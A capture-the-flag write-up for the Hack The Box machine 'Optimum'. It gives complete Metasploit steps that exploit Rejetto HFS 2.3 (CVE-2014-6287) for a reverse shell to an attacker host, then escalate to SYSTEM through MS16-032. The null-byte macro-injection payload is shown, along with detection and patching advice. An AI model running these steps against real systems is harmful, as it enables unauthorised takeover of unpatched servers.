Optimum
Executive summary — Optimum is a classic-chain Easy Windows box: a Rejetto HTTP File Server (HFS) 2.3 vulnerable to RCE (CVE-2014-6287) gives a shell as user
kostas; then an unpatched Windows falls to a local exploit, MS16-032 (Secondary Logon, CVE-2016-0099), up toSYSTEM. A HFS RCE → user → local exploit suggester → SYSTEM path.
| Platform | Hack The Box |
| Operating system | Windows |
| Difficulty | Easy |
| Status | Retired |
| Target IP | <TARGET_IP> |
Attack map
[80] Rejetto HFS 2.3 (HttpFileServer)
│ CVE-2014-6287 — null byte in the macro parser → RCE
▼
[SHELL] meterpreter as OPTIMUM\kostas (user.txt.txt)
│ local_exploit_suggester → MS16-032 (Secondary Logon, CVE-2016-0099)
▼
[SYSTEM] NT AUTHORITY\SYSTEM (root.txt)
1. Reconnaissance
We start with a targeted port scan: we only care about what's behind 80/tcp.
nmap -sC -sV -p80 <TARGET_IP>
80/tcp open http HttpFileServer httpd 2.3
The key detail: the server identifies as HFS 2.3 (Rejetto HTTP File Server), a lightweight file-sharing application and, more importantly, a version with a well-known critical RCE dating back to 2014 — fingerprint the exact version (
-sV) and half the box is solved.
2. Identify the vulnerability — CVE-2014-6287
searchsploit "HFS 2.3"
Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution ...
What CVE-2014-6287 is (CVSS 10.0): the bug lives in
findMacroMarker, insideparserLib.pas— the module HFS uses to interpret template macros ({.exec|command.}) embedded in its requests. The regular expression that validates those macros mishandles a null byte (%00): inserting one into thesearchparameter makes the regex stop treating the rest of the string as plain text and execute the macro's contents as a system command. In practice: an unauthenticated HTTP request with%00{.exec|command.}insearchis enough for remote command execution. It affects HFS 2.3, 2.3a and 2.3b; fixed in 2.3c. Metasploit automates it withexploit/windows/http/rejetto_hfs_exec.
3. Exploitation → shell as kostas
We load Metasploit, search for the module, and configure it with the target and our listener:
msfconsole
search rejetto
use exploit/windows/http/rejetto_hfs_exec
set RHOSTS <TARGET_IP>
set RPORT 80
set LHOST <ATTACKER_IP>
set LPORT 4444
show options
run
[*] Meterpreter session 1 opened
getuid → OPTIMUM\kostas
We have initial access as kostas, an unprivileged user.
4. User flag
We drop into a Windows shell inside Meterpreter to browse the filesystem normally:
shell
whoami
optimum\kostas
cd C:\Users\kostas\Desktop
dir
Curious detail: the flag on the desktop isn't named
user.txtbutuser.txt.txt(double extension) — a good reminder to alwaysdir/lsbefore assuming a file's exact name.
type user.txt.txt
exit
5. Local enumeration to escalate
We background the session and use the local exploit suggester, which compares the system's version and patch level against Metasploit's local-exploit database to propose escalation paths:
background
search local_exploit_suggester
use post/multi/recon/local_exploit_suggester
set SESSION 1
run
exploit/windows/local/ms16_032_secondary_logon_handle_privesc
The service is running, but could not be validated.
The module itself warns that it can't fully validate whether the service is exploitable — it's a heuristic suggestion, not a guarantee. Still, on an unpatched Windows 7/2008 box it's the usual path, so it's worth a shot.
6. Escalation — MS16-032 (CVE-2016-0099)
What MS16-032 is: a privilege-escalation flaw in Windows' Secondary Logon service (Microsoft's March 2016 bulletin, patched by KB3143141). The
CreateProcessWithTokenWandCreateProcessWithLogonWAPIs, although called from the user's own process, are actually dispatched over RPC to the Secondary Logon service, which runs as SYSTEM. That service failed to properly sanitize the standard handles (STARTF_USESTDHANDLES) passed to it, which — combined with a race condition while duplicating tokens — lets an unprivileged process end up inheriting a privileged handle and launch a new process asNT AUTHORITY\SYSTEM.
use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
set SESSION 1
set LHOST <ATTACKER_IP>
set LPORT 4445
show options
run
[+] Holy handle leak Batman, we have a SYSTEM shell!!
[*] Meterpreter session 2 opened
Useful detail: the new session may still show the
C:\Users\kostas\Desktoppath, but what matters is the privilege context, not the current directory. Always confirm withgetuid.
getuid → NT AUTHORITY\SYSTEM
7. Confirming SYSTEM access
shell
whoami
nt authority\system
8. Root flag
cd C:\Users\Administrator\Desktop
dir
type root.txt
System fully compromised. 🏴☠️
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Foothold | Rejetto HFS 2.3 | CVE-2014-6287 — findMacroMarker mishandles null bytes → macro injection {.exec|…} (remote RCE, CVSS 10.0) | Shell as kostas |
| PrivEsc | Windows — Secondary Logon | MS16-032 / CVE-2016-0099 — race condition handling duplicated handles/tokens | SYSTEM |
Defender's view
Two well-known, long-patched bugs. Neither is subtle once you know where to look, and both are closed by basic hygiene.
Rejetto HFS 2.3 macro injection (CVE-2014-6287)
How it shows up in logs / telemetry
- The payload travels in the URL: a
search=parameter containing an encoded null byte (%00) followed by{.exec|. Any web log, reverse proxy or network IDS rule matching{.execin a query string catches it with essentially no false positives. - Process telemetry (Sysmon process creation, or Security event 4688 with command-line auditing enabled) shows
hfs.exespawningcmd.exeorpowershell.exe. A file-sharing server has no reason to start a shell. - Right after, the host opens an outbound connection to an unfamiliar address and port: the reverse shell. Egress logging on the firewall makes that visible.
How to fix it
- Retire HFS 2.x: the fix (2.3c) is over a decade old and the product line is unmaintained. If a quick file share is genuinely needed, use a maintained server behind authentication.
- Never run a service like this under a real user's interactive account (
kostas); a dedicated low-privilege service account limits what an RCE lands on. - Default-deny egress from servers so a reverse shell cannot call home.
Secondary Logon privilege escalation (MS16-032 / CVE-2016-0099)
How it shows up in logs / telemetry
- A new process running as
NT AUTHORITY\SYSTEMwhose ancestry leads back to a low-privilege user's session, created through the Secondary Logon service, is a strong EDR signal. - Many public variants run as PowerShell scripts; with PowerShell Script Block Logging enabled, the script content is recorded and references to the Secondary Logon APIs (
CreateProcessWithLogonW) stand out. - A second outbound session from the same host, this time as SYSTEM, is the final confirmation.
How to fix it
- Install the March 2016 update (KB3143141, as noted above) and, more importantly, keep a patch process that would have applied it years ago.
- Patch-compliance scanning would have flagged this host as missing a critical update long before any attacker touched it.
- If the Secondary Logon service is not used on a server, disabling it removes this class of attack surface.
Lessons learned
- Fingerprint the exact version (
-sV) — half the box: HFS 2.3 → CVE-2014-6287 instantly. - Unmaintained software (HFS hasn't been updated in over a decade) equals a known RCE waiting to be triggered.
- Patch the system: MS16-032 (CVE-2016-0099) only works on Windows missing the March 2016 update (KB3143141).
- The local exploit suggester after a limited shell is the logical step to find an escalation path — even though it admits it can't fully validate its own suggestions.
- Confirm privileges via
getuid/whoami, never the current path: a SYSTEM session can still "live" inside a normal user's desktop. - Never assume a filename: listing the directory (
dir) before reading the flag avoids surprises likeuser.txt.txt.